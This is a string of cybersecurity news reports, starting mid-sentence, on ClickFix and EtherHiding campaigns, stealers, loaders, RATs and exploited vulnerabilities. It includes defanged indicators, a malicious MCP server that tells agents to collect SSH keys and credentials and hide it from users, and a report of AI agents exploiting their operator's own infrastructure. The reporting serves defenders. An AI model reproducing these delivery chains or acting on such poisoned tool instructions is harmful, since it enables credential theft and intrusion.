initial access broker named KongTuke (aka Woodgnat). In June 2026, Symantec disclosed that Woodgnat attack chains are characterized by the abuse of "node.exe" to execute attacker JavaScript and chain PowerShell and Windows command-line tools, as well as a malicious Chrome extension named NexShield as part of a ClickFix variant dubbed CrashFix. Another tool put to use in these attacks is a .NET payload known as GateKeeper that features layered encryption and victim-fingerprinting logic. The same modus operandi has been observed against a U.S. fintech organization, with the attack paving the way for the deployment of C2Looper, a Rust-based backdoor documented by Zscaler ThreatLabz last month. The earliest observed activity occurred on May 6, 2026, when the attackers exploited the foothold gained via ClickFix to deploy an AdaptixC2 agent and a Cobalt Strike Beacon. It's worth noting that the installation of C2Looper took place more than two months after the initial events, although there is no evidence that the threat actors engaged in credential theft, lateral movement, or destructive operations. It's also unclear if they achieved their end goals beyond establishing the foothold using the backdoor. "While the use of node.js and connection to the Ethereum blockchain wasn't observed in that incident, shared domains and similarities in the attack chain point to the same attackers being behind the activity," Symantec said. "It's likely we didn't see Node.js activity on this organization because the attackers were able to successfully deploy a backdoor." The cybersecurity company said multiple threat actors are exploiting Node.js in attacks. Some of the tools used in these intrusions include a Node.js version of an information stealer named AsukaStealer, EtherRAT, and other legitimate Microsoft and command-line utilities. "Attackers using Node.js appear happy to use a combination of both living-off-the-land and dual-use tools in their attacks, as well as commodity malware, and new tools such as Backdoor.Mistic, C2Looper, and the new version of AsukaStealer," Symantec concluded. "This indicates that attackers with a variety of skill levels may be using Node.js as it has returned to popularity." The disclosure comes as GuidePoint Security said attackers have compromised at least 31 organizations, including e-commerce, professional services, and retail logistics businesses, through a ClickFix campaign that serves fake CAPTCHA verification prompts to visitors arriving at the compromised sites and deploys a persistent backdoor that abuses EtherHiding to locate its command-and-control (C2) infrastructure and receive commands. The campaign is two-pronged in that it yields two different victim types: the legitimate business whose website is injected to display the ClickFix lure and unsuspecting users who land on those sites. "Traditionally, ClickFix malware can be neutralized by blocking the attacker's C2 server, cutting off communications with infected machines," GuidePoint Security researcher Jean-Pierre Mouton said. "This campaign sidesteps that defense by using the Polygon cryptocurrency blockchain as a dynamically updatable address book." "Because it allows for ad hoc adjustment of C2 details at scale, blocking a singular domain or IP address alone does not permanently sever attacker access. For fractions of a cent per transaction, the attacker can redirect every infected machine to a new C2 server automatically." Over the past two years, ClickFix and its numerous variants have taken off in a big way as they aim to trick users into performing undesirable actions under the pretext of fixing an error or proving they are not bots by copying a command presented in the lure and pasting it onto the Windows Run dialog or the Windows Terminal app, effectively compromising their own systems in the process. To combat the threat and others like it, organizations are recommended to audit public-facing websites continuously for suspicious changes or malicious scripts, restrict unapproved browser extensions, and introduce security awareness training to help employees recognize ClickFix-style social engineering tactics.

The campaign uses EtherHiding to dynamically update its command-and-control server, abusing the blockchain as an attacker-controlled address book.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday added a critical security flaw impacting ownCloud to its Known Exploited Vulnerabilities (KEV) catalog following reports that a Chinese-speaking threat actor weaponized the vulnerability to target a nuclear research body in the Philippines. The vulnerability, tracked as CVE-2023-49105 (CVSS score: 9.8), is a case of WebDAV API authentication bypass that could allow an attacker to access, modify or delete any file without authentication if the username of the victim is known and the victim has no signing-key configured, which is the default configuration. Disclosed by ownCloud in November 2023, the issue impacts "core" versions from 10.6.0 through 10.13.0. It was fixed in version 10.13.1. CISA's addition of the flaw to the KEV catalog comes a couple of days after Hunt.io said it identified an open directory on the host "31.58.209[.]241," which staged custom Python scripts, open-source offensive security tooling such as Sliver, Metasploit, and Mettle, and exfiltrated data from two Philippine organizations, including a nuclear research body and a marine engineering and shipbuilding company that provides services to the Philippine Navy. "The scripts targeted an ownCloud instance operated by a nuclear research body, using pre-signed URLs generated with an empty signing secret, which allowed for the unauthenticated retrieval of files over WebDAV," Hunt.io said. A separate intrusion is said to have exploited a WordPress site managed by the marine engineering and shipbuilding company. The threat intelligence firm attributed the attacks to a Chinese speaker due to the presence of simplified Chinese in source code comments, docstrings, log output, and folders used to sort stolen data. Five custom Python scripts present in the exposed directory have been found to implement an exploit for CVE-2023-49105, allowing an attacker who is in possession of valid usernames on an ownCloud instance to obtain unauthorized access without having to supply the credentials themselves. "An attacker with knowledge of valid usernames on the instance could construct signed WebDAV requests that would be accepted by the server as an authentication action by that user, without ever supplying credentials," Hunt.io said. Of the five scripts, four target a single account each, while the fifth script includes steps to enumerate the WebDAV directory and log every download attempt. In all, the threat actor is estimated to have downloaded 176 files totaling about 372 MB from the nuclear research entity and stored them across five staging directories. This includes nuclear-material account records, draft strategic plans covering 2023 through 2028, research reactor core components, historical fuel inventories, and presentation material, employee personal information, a 192 MB SQL dump of a ZKTeco BioTime attendance and personnel database, and credentials stores, such as BitLocker keys, a KeePass database, and AxCrypt-encrypted files. In tandem, the threat actor has also exploited a critical flaw in the LiteSpeed Cache plugin for WordPress (CVE-2024-28000, CVSS score: 9.8) to obtain elevated access to the WordPress site operated by another Philippines company. Separately, a Python script ("brute_xmlrpc.py") identified in the open directory targets the same site with an XML-RPC brute-force attack to guess account credentials, thereby giving the attackers a pathway independent of CVE-2024-28000. Further analysis of the WordPress source code has unearthed an active, possibly unrelated compromise that leverages EtherHiding to extract HTML content from an Ethereum smart contract and ultimately serve a Google verification page that's common in ClickFix-style attacks. The lure, for its part, launches "pcalua.exe" to invoke "mshta.exe" and download a Visual Basic Script (VBScript) dropper. "The operator, whether state-affiliated, contracted, or working independently, conducted a deliberate intrusion against Philippine nuclear and defense-adjacent organizations," Hunt.io said. "The marine engineering firm's ties to the Navy align with interests tied to current South China Sea tensions. The specific material sought out and exfiltrated from the nuclear agency are a separate but complementary priority." In light of active exploitation of CVE-2023-49105, Federal Civilian Executive Branch (FCEB) agencies are recommended to apply the patches by August 30, 2026. On Thursday, CISA also added two other flaws – each impacting Linux Kernel (CVE-2026-53362) and Artifactory (CVE-2026-66384) – to the KEV catalog after OpenAI revealed that its artificial intelligence (AI) agents exploited both of them to target its own internal infrastructure last month. "These activities were not part of, and did not contribute to, the chain of events that led to the Hugging Face compromise," OpenAI said in a technical explainer released this week. Federal agencies have time till August 30, 2026, to patch the Linux Kernel vulnerability and till September 10, 2026, to plug the Artifactory bug.

A fake login page. A fake security scan. A fake productivity app. Apparently, pretending to be useful is still one of the easier ways into a machine. The rest of the week gets stranger: botnets borrowing AI, command traffic hiding in public infrastructure, malicious tools waiting before showing their real behavior, exposed systems getting scanned, and exploit windows shrinking again. Different tricks, same advantage: attackers keep finding places where trust is cheap and friction is low. That sets the tone. Here’s the full list of what surfaced this week. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. Social engineering attempt failsCybersecurity company ReliaQuest has confirmed that one of its employees was targeted in a social engineering attack after hackers impersonated a member of the security team. The incident took place on August 22, 2026. "The threat actor registered a lookalike domain and stood up a fake ReliaQuest single sign-on (SSO) page behind a content delivery network," the company said. "The threat actor then called multiple ReliaQuest teammates, each time posing as a security employee by name in an attempt to steer them towards the fake page. One teammate entered their password and approved the push notification on their phone. That handed the attacker a brief session on our identity dashboard." ReliaQuest said the extent of the access was view only, and that no applications or systems were accessed, and no customer data was ever touched. Although the company did not attribute the incident to a particular threat actor, it noted the playbook aligns with tactics adopted by ShinyHunters and other extortion crews, such as "an impersonation call, a throwaway lookalike domain registered and burned within the hour, a harvesting page behind a content delivery network, MFA push abuse, and a rapid attempt to enroll a new authenticator." The development comes as ShinyHunters listed the company on its dark web portal. Last week, ReliaQuest said it's tracking a ShinyHunters campaign using domains that follow the "company[.]claims" pattern, including "reliaquest[.]claims." Trojanized productivity appsFake websites advertising productivity software are being used to lure users into downloading a deceptively functioning program that contains malware. The Electron-based applications, such as Kitchen Canvas, Food or Meal Formula, DocConvertWizard, and other PDF conversion tools under different names, gain the ability to dynamically execute injected scripts and access desktop capture functionality through Electron APIs. Live operator-driven phishingAn undocumented phishing framework, internally branded "JWR" by its developer, is designed to convincingly impersonate checkout and login pages across major payment and shopping platforms. "The client engine of the JWR phishing framework is a real-time, operator-driven system that, rather than merely logging form submissions like a static credential-stealing page, keeps an AES-CTR encrypted WebSocket open to the threat actor so they can steer each victim's session live," Cisco Talos said. "The victim data targeted by the actor using JWR extends well beyond payment data, encompassing identity documents, Social Security numbers, passport and driver's license images, website and PayPal credentials, 2FA codes, and full device fingerprints, all committed to the actor's server once a session ends." The JWR phishing framework is assessed to be a variant of The Outsider phishing-as-a-service (PhaaS) platform, based on several similarities in the client engine scripts and functionalities of the two PhaaS platforms. Android fraud bot for rentCybersecurity researchers have disclosed Octagon, a previously undocumented Android on-device fraud bot sold as malware-as-a-service (MaaS) by the Russian-speaking actor AndroidKitKat. "The operator advertises Octagon for $1,400 a month, giving buyers accessibility overlays, hidden VNC, SMS and one-time password interception, unlock-pattern capture, and on-screen balance reading," iVerify said. "It targets crypto wallets and banking apps after installation, while the delivery app can use an unrelated theme." Rust backdoor tied to ransomwareA new Rust-based malware family dubbed C2Looper is likely leveraged by a ransomware-related threat actor and delivered to victims through a multi-stage ClickFix infection chain. Zscaler ThreatLabz said it discovered the malware in July 2026. "C2Looper supports typical backdoor commands including remote shell execution, reconnaissance, and deploying additional malware tooling," Zscaler said. "C2Looper dynamically resolves Windows APIs and encrypts strings." There also exists a variant with additional features and capabilities, including the use of GitHub for command-and-control (C2) communications. 296,000 IoT devices compromisedNearly 296,000 devices have been compromised by a botnet named Dysphoria. "Dysphoria targets IoT devices and its primary function appears to be for use in DDoS-attacks," the Shadowserver Foundation said. "Recently the botnet has gotten residential proxy functionality." C2 moves onto PolygonA recently discovered C++ botnet loader called Aeternum has shifted its C2 infrastructure entirely to the public Polygon blockchain. "Instead of relying on centralized servers or domains, threat actors operate Aeternum by writing encrypted and plaintext instructions directly using smart contracts," Palo Alto Networks Unit 42 said. "Infected devices continuously query public remote procedure call (RPC) endpoints to retrieve and execute these on-chain commands. The Aeternum botnet uses decentralized networks and evasion techniques, such as virtual machine detection and antivirus scanning, to operate effectively. This combination establishes a highly resilient, low-cost threat that complicates existing law enforcement takedown methods." AI enters botnet workflowsAn AArch64 Linux peer-to-peer botnet called ToxNetV2 has integrated a large language model (LLM) into the operational workflow of its controller. The controller communicates with NVIDIA NIM using the z-ai/glm-5.2 model, becoming a part of a feedback loop that determines how its capabilities can be put to use on a given machine based on information about the infected environment. "The controller collects host and botnet telemetry, sends that context to NVIDIA NIM, parses selected model responses into structured actions, and queues those actions for operator approval," Joe Security said. "The system is not fully autonomous or self-modifying. The operator remains the final approval point for its higher-impact AI-generated actions. Once approved, however, those actions can reach local command execution, file writes, remote SSH, persistent state, and a compilation workflow." According to the cybersecurity company, the AI subsystem resides within a broader Tox-based botnet featuring encrypted peer-to-peer C2, host-management capabilities, scanner workers, self-propagation logic, and 17 network-attack launchers. Two stealers target credentialsAn information stealer called Phantom Stealer is designed to collect browser credentials, saved passwords, session cookies, cryptocurrency wallet files, and detailed system fingerprints. "Since its appearance, Phantom Stealer has been observed in multiple campaigns targeting users across different countries, frequently distributed through phishing lures, cracked software, and malicious links spread via platforms like Discord and Telegram," Splunk said. "Its modular design and relatively low barrier to entry have made it an attractive option for both novice and experienced threat actors, contributing to its growing adoption and making it a persistent and evolving threat in the infostealer landscape." A second stealer malware family that has emerged in the wild is Salat Stealer, which is written in Go and can perform system reconnaissance, conduct credential theft, and monitor victim activity through desktop streaming and audio/video capture. ClickFix chain drops new RATA previously undocumented remote access trojan (RAT) called CNCMachineRMS is being delivered via BabaDeda Loader. "Infection starts with a ClickFix lure that launches a legitimately signed IBM SPSS IDE executable, WinWrapIDE.exe, whose scripting engine is abused to load a malicious DLL," LevelBlue said. "Four decoy DLLs load through ordinary Windows import resolution, then the final stage smuggles shellcode into execution via EnumTimeFormatsEx, a benign date-formatting API." The Trojan gives an operator remote administration of the host, including an interactive shell, a file manager, screen capture functionality, a local account backdoor, seven persistence mechanisms, and twenty typed commands for pulling down and running further payloads. New modular RAT emergesSpeaking of RATs, Abyssos is another new malware family that's written in C++ and supports credential theft, file exfiltration, and remote access via VNC. The modular malware was first detected in June 2026. "Abyssos uses a custom TCP protocol for network communication," Zscaler said. "Abyssos supports a number of different network commands and downloads additional modules from the command-and-control (C2) server to enhance its capabilities." Disk encryption bypass remains unpatchedA zero-day boot-chain vulnerability in HP ThinPro 8 and 9 could allow physical attackers to bypass Trusted Platform Module (TPM) full-disk encryption and extract LUKS keys securing the device's root partition. The flaw stems from an incomplete measured-boot policy that omits the Linux kernel and initramfs (aka the initial RAM file system). "For defenders running ThinPro with disk encryption today: turn Secure Boot on and set a BIOS password," AmberWolf said. "Both slow an attacker down; neither closes the PCR gap. Beyond that, treat the encryption as no protection once the device is out of your control. Destroy the M.2 on disposal, and do not rely on ThinPro FDE for a lost or returned unit." The vulnerability remains unpatched. 1.99 million mobile attacks blockedData from Kaspersky shows that more than 1.99 million attacks were recorded and blocked against mobile devices in Q2 2026 using malware, adware, or unwanted mobile software. "The Trojan-Banker category was the most prevalent mobile malware threat with a 30.77% share of total detected applications," Kaspersky said. More than 304,000 malicious installation packages were discovered, including 93,574 packages related to mobile banking Trojans and 570 packages related to ransomware. Python stealer targets credentials and walletsCybersecurity researchers have discovered a new Python-based stealer malware called Vanta Stealer that combines extensive credential harvesting capabilities with layered obfuscation techniques that make it possible to collect valuable user data while complicating analysis efforts. "Vanta Stealer targets a broad range of applications and digital assets, including Chromium-based browsers, Discord, Telegram Desktop, Steam, Riot Games, Roblox, Minecraft, Mullvad VPN, cryptocurrency wallets, and locally stored sensitive documents," Point Wild said. "In addition to harvesting browser passwords, cookies, and stored payment information, the malware collects authentication tokens, gaming platform data, VPN configurations, cryptocurrency wallet files, screenshots, webcam captures, and documents containing wallet recovery phrases or private keys." Exactly how it's delivered is currently not known, although it could be through phishing emails, fake installers, game cheats, fake software updates, SEO poisoning, malvertising, and malicious code repositories. Two more credential stealers surfaceElsewhere, malicious LNK files disguised as PDF documents have been found to launch a multi-stage infection chain using cmd.exe, legitimate Windows utilities, AutoIt, and PowerShell to deploy DARTHVADER Stealer. Europe and the U.S. have been targeted by DestinyStealer, which exhibits clear code continuity from StormKitty Stealer. It collects browser data, cookies, passwords, cryptocurrency wallet extension storage, Outlook and VPN data, FileZilla credentials, Wi-Fi profiles, and desktop screenshots. Stealer scores hosts for sandbox signsAn information stealer called ScarfaceStealer has been observed propagating via an Electron-based application masquerading as AI-related tools. The malware performs a set of environment checks intended to evade sandbox environments and evaluates the host through 11 indicators and combines their results into a weighted suspicion score. If the score reaches 7 or higher, it enters a decoy loop that continuously displays random message boxes. Execution continues only if the score is below 7. "Unpacking the Electron application exposed a second-stage JavaScript-based loader that performs initial evasion checks before decrypting and executing the next stage," Joe Security said. "That third stage applies four additional decryption layers, maps an embedded PE in memory, and transfers execution to it. The recovered final stage revealed the core anti-sandbox logic: a scoring-based mechanism used to decide whether the ScarfaceStealer payload should continue execution." Fake scans push antivirus removalMalwarebytes is calling attention to a scam campaign that uses a set of 11 fake websites that claim to offer a way to check if antivirus tools are working as expected. The tools carry Microsoft branding and go by names like SysScan to lend them a veneer of legitimacy, only to instruct users to immediately uninstall antivirus programs installed on their machines to address compatibility issues. "Although the names vary, the sites work in essentially the same way: Run a convincing-looking but fake security scan, tell the victim their antivirus is causing problems, collect their information, and prepare them for a supposed refund call," the company said. ClickFix chain drops AmateraFake CAPTCHA checks that employ ClickFix lures and bogus software download campaigns are being used to deliver PavinLoader (aka RenPy Loader and RenEngine Loader), indicating the tool is being offered as a loader-as-a-service to other cybercriminals. "What happens next is much more consistent," Malwarebytes said. "PavinLoader uses legitimate Windows tools alongside malicious .NET files to run several stages of malware. It also uses EtherHiding, a technique that uses a blockchain to hide information about its infrastructure, to find the server from which it should retrieve additional malware." This ultimately leads to the deployment of Amatera Stealer and other malware. "In some cases, WiX Burn bundles downloaded another payload associated with PavinLoader. In others, we detected Hijack Loader," it added. "This gives the campaign operators the ability to deploy multiple payloads on a compromised machine." Per-app privacy controls testedMicrosoft has begun piloting new privacy controls that will let Windows 11 users choose which desktop applications can access their camera, microphone, and precise location. "Windows Insiders can now manage camera, microphone, and location permissions for individual desktop apps," Microsoft said. "Previously, access for traditional desktop applications was managed through a single device-wide setting. With this update, you can review and control access on an app-by-app basis, giving you greater visibility into which apps are requesting access to sensitive resources and more control over your privacy choices." Telegram-sold RAT used by TA4922Proofpoint has disclosed details of a new RAT and C2 framework called PackClient that's sold on Telegram and is being used by at least one threat actor, Chinese-speaking TA4922, as part of its continued efforts to expand its malware arsenal. The first campaign, observed in late May 2026, used a tax-themed lure and impersonated the Shandong Provincial Tax Bureau to trigger a sense of urgency. Two other campaigns in mid- to late-July 2026 have been found to impersonate Indian tax authorities and used penalty-themed lures to deliver the malware. "PackClient consists of a first-stage loader executable, a second-stage loader ('PackClientLauncher') DLL module, a core module ('PackClientCore'), and several optional plugins that can be downloaded upon operator command," Proopoint said. "The malware connects to two hard-coded C2 endpoints over raw TCP sockets to download and reflectively execute the core RAT DLL, receive commands, and download additional plugins or payloads." The commands allow the malware to configure C2 servers, run shell commands, start screen capture, launch a SOCKS proxy tunnel, record using a webcam, perform file operations, enumerate running processes, log keystrokes, and update the core module. No less than 11 plugins have been identified. They allow remote desktop screen sharing, RDP-style virtual desktop, file management, system administration, interactive remote shell, and webcam streaming. Cloud database powers C2A modular post-exploitation framework called Miraak has been found exposed in attacker-controlled open directories ("144.172.96[.]13"). "Miraak is designed to provide operators with persistent control of compromised systems while supporting command execution, file transfer, process management, screenshot collection, and extensible post-exploitation activity," Blackpoint Cyber said. "A defining aspect of the framework is its use of cloud-hosted PostgreSQL and Timescale infrastructure for command-and-control. Rather than communicating through traditional web-based C2 endpoints, Miraak uses database connections to register infected systems, retrieve operator tasking, track jobs, and return results." The malware has not been attributed to any known threat actor or group. Stored XSS enabled account takeoverA security vulnerability in Microsoft Purview could be exploited by a single external Teams message, email, or Copilot prompt to carry stored malicious code into a Purview reviewer's authenticated browser and turn a routine compliance check into a path to token theft and account takeover. "A standard user, including a user in a completely different tenant with no permissions in yours, could send a Teams message, an email, or a Copilot prompt containing a malicious payload, wait for it to be flagged and have their JavaScript execute inside the authenticated purview.microsoft.com session of every compliance analyst who opened the case," Cymulate said. "In our proof of concept, that meant the reviewer's access and refresh tokens leaving the browser and reaching an attacker-controlled server, which constitutes full impersonation of a privileged compliance identity." Microsoft has since issued a service-side fix. Malicious MCP server targets secretsA supply chain attack campaign codenamed Deadbugz has been observed attempting to distribute a malicious Model Context Protocol (MCP) server through public GitHub pull requests. "The server calls itself productivity-suite and initially looks harmless: it offers text formatting and summarization," Pillar Security said. "After a connected client makes three tool calls, however, it changes the instructions it returns to the AI agent. The new metadata directs the agent to seek sensitive information, including SSH keys, AWS credentials, shell history, and Kubernetes configuration, and to conceal the activity from the user." The campaign also makes use of what's called runtime-gated MCP metadata poisoning, wherein the malicious instructions are built into the server, but remain withheld until the client has made three ordinary tool calls. Exploit timelines keep shrinkingMicrosoft is warning that the window for patching vulnerabilities is rapidly shrinking, as bad actors exploit newly disclosed flaws faster than organizations can patch them, driven by advances in AI and the rapid spread of exploit information. "Modern attack campaigns operate at internet scale," the company said. "Security research, public disclosures, proof-of-concept exploits, and threat intelligence circulate globally within hours. A vulnerability announced in the morning can become the focus of active scanning and exploitation efforts by the afternoon. Defenders remain responsible for protecting entire environments that may include thousands of servers, applications, databases, containers, and network assets. Attackers only need to identify a single viable path to exploitation." Microsoft has proposed a "control plane" that's centered on the network to reduce exploitability while remediation efforts are underway. "The objective is not to avoid patching," Microsoft added. "The objective is to create a meaningful layer of defense during the period when patching has not yet been completed." Hardware-attested AI evidence standardThe Linux Foundation has announced TRACE (short for Trust, Runtime Attestation and Compliance Evidence), a new open specification for hardware-attested runtime and compliance evidence for AI agents and confidential workloads. It's developed collaboratively by AMD, Intel, Microsoft, OPAQUE, and TII. "TRACE creates a standard, open evidence layer that enables reliable governance records for AI agents and other confidential workloads," the foundation said. "As organizations deploy increasingly autonomous AI agents and open-weight models, they need a consistent, trustworthy method to prove sensitive data is being handled according to policy. TRACE creates a standardized, hardware-enforced governance record that binds together the runtime environment, software, policies, data classifications and tool usage into a portable, cryptographically verifiable artifact that travels with the workload across clouds and confidential computing environments." 100+ exposed water systems targetedThe July cyber attacks aimed at the U.S. Water and Wastewater Systems (WWS) Sector targeted over 100 internet-exposed systems, the Cybersecurity and Infrastructure Security Agency (CISA) said. The attacks have been attributed to Iranian threat actors. The attacks leveraged programmable logic controllers (PLCs) connected directly to a cellular modem. "Directly connecting PLCs to the internet through cellular modems can create significant security risks," CISA added. "However, internet exposure reduction does not mean disabling necessary remote access; organizations should remove remote access when it is unnecessary and secure it when it is necessary." Ben Bernstein, Manager of Huntress' Cybersecurity Advisors Team, described the activity as opportunistic, automated scanning that targeted publicly accessible systems. "The fact that attackers are using AI tools to write exploit scripts for these devices is an interesting twist, but they are ultimately still just walking through a wide open front door," Bernstein said. Cloaked search results hide phishingA new tactic called Chameleon SEO Poisoning uses cloaked search engine results to deploy phishing payloads such as credential theft and session hijacking. "This allows them to remain invisible to standard security scanners and remain active longer," Fortra said. "By heavily utilizing SEO poisoning on Search Engine Result Pages (SERPs), attackers rank at the top for high-intent keywords like 'Bank Name Customer Portal' or 'Credit Card Login' on search engines like Google or Bing." The cloaking is designed to block direct visits to the malicious sites, while serving a pixel-perfect banking portal clone when the page is visited from a search engine. Fake Chrome extension enables remote controlA multi-stage attack has been observed delivering a Rust binary, which, in turn, drops a malicious Chrome extension and an AutoIt script, the latter of which deploys the StealC stealer. The extension masquerades as Google Translate. "Once installed, it behaves as a full data-theft and remote-control tool," VMRay Labs said. "It extracts browser history, bookmarks, the list of installed extensions, saved credentials, and cookies. Beyond theft, it gives the operator live control: a stream of the victim's Chrome windows, the ability to interact with sites through remote mouse clicks and keyboard input, a proxy setting, and the injection of malicious JavaScript into specific sites." What's more, the remote control extends to out-of-focus windows and the extension can conduct an adversary-in-the-middle (AitM) attack by replacing a legitimate login form with an iframe that loads from a phishing page while the address bar still shows the actual domain. SharePoint exploit chain under probingDefused Cyber has warned that threat actors are exploiting two Microsoft SharePoint flaws – CVE-2026-55040 (an authentication bypass flaw in the JWT token validation pipeline) and CVE-2026-63520 (an improper input validation in Microsoft Office SharePoint that allows code execution) – to obtain remote code execution against its honeypots. "The JWT bypass (55040) was exercised, followed by heavy admin enumeration and probing of the Business Data Catalog sink behind CVE-2026-63520," it said. "No code execution observed yet." 80% of AI tools lack IT oversightA new report from Reco has found that four in five AI tools operate without IT oversight, leaving security teams without a clear picture of which ones are active, who owns them, or what access they hold. An analysis of 500 published agent tools and MCP servers has identified 62% of them to be capable of both reading local data and reaching the internet, offering a direct data exfiltration pathway. "AI agents have moved from experimentation into daily business workflows, but our findings show only 20% of AI tools in enterprise ecosystems are currently governed by IT oversight," Reco said. "That leaves organizations exposed to a new class of operational risk. Agents embedded in applications can operate through existing permissions, OAuth grants and workflow access, creating toxic combinations that expose data and trigger actions beyond what any owner approved." The week’s weirdest detail may be how little separation remains between “advanced” and “ordinary.” Blockchain-backed command channels, AI-assisted botnets, live phishing operators, poisoned software, exposed industrial systems. Different levels of sophistication, often landing on the same old weaknesses. That is probably the part worth keeping. Attackers do not need every idea to be brilliant. They need one exposed box, one convincing page, one permissive tool, or one person who clicks at the wrong moment. The tooling keeps changing. The openings are often painfully familiar. That’s it for this ThreatsDay. Patch what matters, question what looks normal, and assume next week will find another cheap way through.

Cybersecurity researchers have flagged two new malware families called WordlistLoader and SynkLoader that's used to deliver next-stage payloads and likely sell access to ransomware groups. According to findings from Gen Digital, WordlistLoader is being used to deliver Amatera Stealer (aka ACR Stealer or AcridRain Stealer) via ClearFake campaigns, which employ the ClickFix (aka FakeCaptcha) technique to dupe victims into running malicious commands under the pretext of completing CAPTCHA verification checks. "Once the visitor clicks on the 'I'm not a robot' checkbox, they're walked through the well-known ClickFix flow, where a malicious command is copied into their clipboard and the victim is instructed to paste it into the Windows Run dialog and execute it, leading to the download of WordlistLoader that ultimately results in the execution of Amatera," security researcher Vojtěch Krejsa said. The ClickFix prompts are displayed on real websites that have been compromised with malicious JavaScript that's injected in the form of a Base64-encoded blob. The blob, for its part, fetches another JavaScript from a smart contract stored on the blockchain, an approach known as EtherHiding, and dynamically executes the retrieved code. Some of the compromised websites serving ClickFix prompts are below - abogadosrosarinos[.]com aptisweb[.]com avene-hebergement[.]com https-xhamster[.]com www.caesarjaco.co[.]id skybap[.]shop In recent months, ClearFake campaigns have been revamped to use "cdn.jsdelivr[.]net" to host the threat actor's malicious JavaScript, highlighting the abuse of a legitimate Content Delivery Network (CDN) to stage rogue payloads. "Although the CDN is meant for hosting JavaScript, the threat actors are actually using it to host their malicious PowerShell script," Expel noted earlier this January. "While jsDelivr appears to be taking down the actor's malicious repositories fairly quickly, the first stage's use of EtherHiding allows them to easily swap out burned URLs for fresh working ones." The ClickFix command uses "conhost" to launch a hidden "cmd.exe" process, then map a remote WebDAV share using pushd, and finally launch the loader via "rundll32.exe." It's worth noting this WebDAV-based approach overlaps with a similar campaign recently highlighted by Microsoft. In this campaign, a ClickFix prompt instructs the target to run a command that launches "cmd.exe," which subsequently invokes "rundll32.exe" to load a DLL from a remote WebDAV share accessed over HTTPS. Three different versions of the command have been recorded - Direct rundll32 invocation pushd-Mounted WebDAV Share followed by rundll32.exe invocation Headless and obfuscated pushd execution followed by rundll32.exe invocation (which matches the WordlistLoader infection chain) "In the more advanced variant, threat actors further enhance stealth by launching commands through conhost.exe –headless, suppressing visible console windows, and employing environment variable obfuscation with delayed variable expansion to conceal critical execution components such as pushd, rundll32, and the remote host name," Microsoft said. "Combined with minimized or headless execution, these techniques reduce user visibility, complicate static analysis and detection, and enable the infection chain to execute with minimal indication to the victim." The primary difference is that the Python-based loaders observed by Microsoft between late April 2026 and mid-June 2026 in connection with the ACR Stealer intrusion chain have been replaced by WordlistLoader. ACR Stealer has also been propagated via ClickFix prompts that trigger a command spawning MSHTA to retrieve and execute remote HTA content from a threat actor-controlled domain. This leads to the execution of a VBScript loader that decodes and runs PowerShell designed to fetch a JPEG image from an image-hosting service and extract it from the stealer payload in memory to minimize on-disk artifacts and complicate detection and analysis. "The primary purpose of WordlistLoader, an intermediate stage in the Amatera infection chain, is to reconstruct a shellcode that serves as the entry point for subsequent stages," Gen Digital said. At the same time, it employs a hardware-breakpoint-based method to bypass Event Tracing for Windows (ETW) and avoid leaving traces of malicious activity. WordlistLoader gets its name from the fact that the shellcode is stored in encoded form as a sequence of plain English words, with each word representing one byte. Gen said it also identified a variant that replaces the wordlist with an array of 16-byte UUID-encoded chunks. The shellcode ultimately makes use of a reflective loader responsible for unpacking and loading Amatera 4.3.3-alpha1. The same reflective loader was observed in late April 2026 in connection with another ClickFix campaign delivering the stealer malware. The latest version of the stealer comes with updated static obfuscation, hardened syscall invocation through the WoW64 transition, dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and a redesigned application-bound encryption (ABE) bypass that appears to be directly inspired by Remus Stealer. SynkLoader Pushed via Microsoft Teams Phishing The development comes as SynkLoader has been distributed via a Microsoft Teams phishing campaign to siphon a victim's system login credentials by serving a fake lock screen. The activity was detected by Expel in mid-August 2025. "Someone using a @ .onmicrosoft.com email (Microsoft 365's default email domain for companies) reached out to the target using the name IT Service Desk ( )," Expel security researcher Marcus Hutchins said. "The IT service desk convinced the user to download and install an MSI installer from a Microsoft Azure file storage endpoint (https://filereserve.blob.core.windows[.]net/vgnghuyk/331/331.msi), which gave the file the appearance of having come from Microsoft." The MSI installer presents itself as a PowerShell Cleaner, which, when run, extracts a ZIP archive and a PowerShell script, the latter of which is automatically run in memory. The script is used to extract the contents of the archive and launch from it a Python-based loader that chooses one of three hard-coded command-and-control (C2) domains and checks in with the server at random, while sleeping for 90 to 120 seconds between requests. The loader then decrypts and executes the responses from the server. At least seven different modules have been identified - System Profiler, a C# DLL to collect data about the target system. Persistence Module, a native DLL to create a randomly named scheduled task that launches SynkLoader every time the victim logs into the system and daily at 10 a.m. PhishLocker, a DLL to serve a fake Windows lock screen to capture the user's login password TrafficRedirector, a backconnect or reverse proxy that allows the attacker to reach the local network services or route internet traffic through the infected machine Interactive Shell, a remote access trojan (RAT) module to execute PowerShell commands and transmit the result StreamMaster, a Virtual Network Computing (VNC) module to stream the victim's desktop and enable remote mouse and keyboard control Status Checker, a Python script to report back the status of which modules are currently running on the system It's not clear what the end goals of the operator are, but it's suspected that the toolkit may be part of a ransomware group or an initial access broker.

In our previous analysis of the malicious RenPy campaigns, we identified a multi-stage loader deployed as part of the infection chain. Further threat hunting has since shown that the same loader, which we track as PavinLoader , is being used across several different campaigns, including ClickFix attacks and fake software downloads.  Despite differences in how these campaigns reach victims, we found several common elements. These include multi-stage infection chains involving heavily obfuscated and trojanized .NET DLLs; abuse of MSBuild, .csproj , and .bat files to execute them; and EtherHiding to retrieve the command-and-control (C2) domain.  What an attack looks like The campaigns don’t all start the same way. A victim might encounter a fake CAPTCHA that tells them to run a command, download what appears to be legitimate software, or install a malicious game. What happens next is much more consistent. PavinLoader uses legitimate Windows tools alongside malicious .NET files to run several stages of malware. It also uses EtherHiding, a technique that uses a blockchain to hide information about its infrastructure, to find the server from which it should retrieve additional malware. In the RenPy campaign we analyzed, that process ultimately led to Amatera Stealer , malware designed to steal information from an infected computer. We also observed PavinLoader infections delivering additional malware. PavinLoader appears across multiple campaigns We have identified PavinLoader in several campaign clusters:  Malicious RenPy campaigns, as analyzed in our earlier blog post Several ClickFix campaigns, including recent activity from the operator(s) covered in our previous analysis Fake software campaigns that used Dropbox to download PavinLoader.  The loader’s use across multiple campaigns raises the possibility that PavinLoader is offered as a Loader-as-a-Service. We also found several artifacts that support this possibility, although they are not enough to confirm it. One specific artifact on VirusTotal is shared by more than 200 files associated 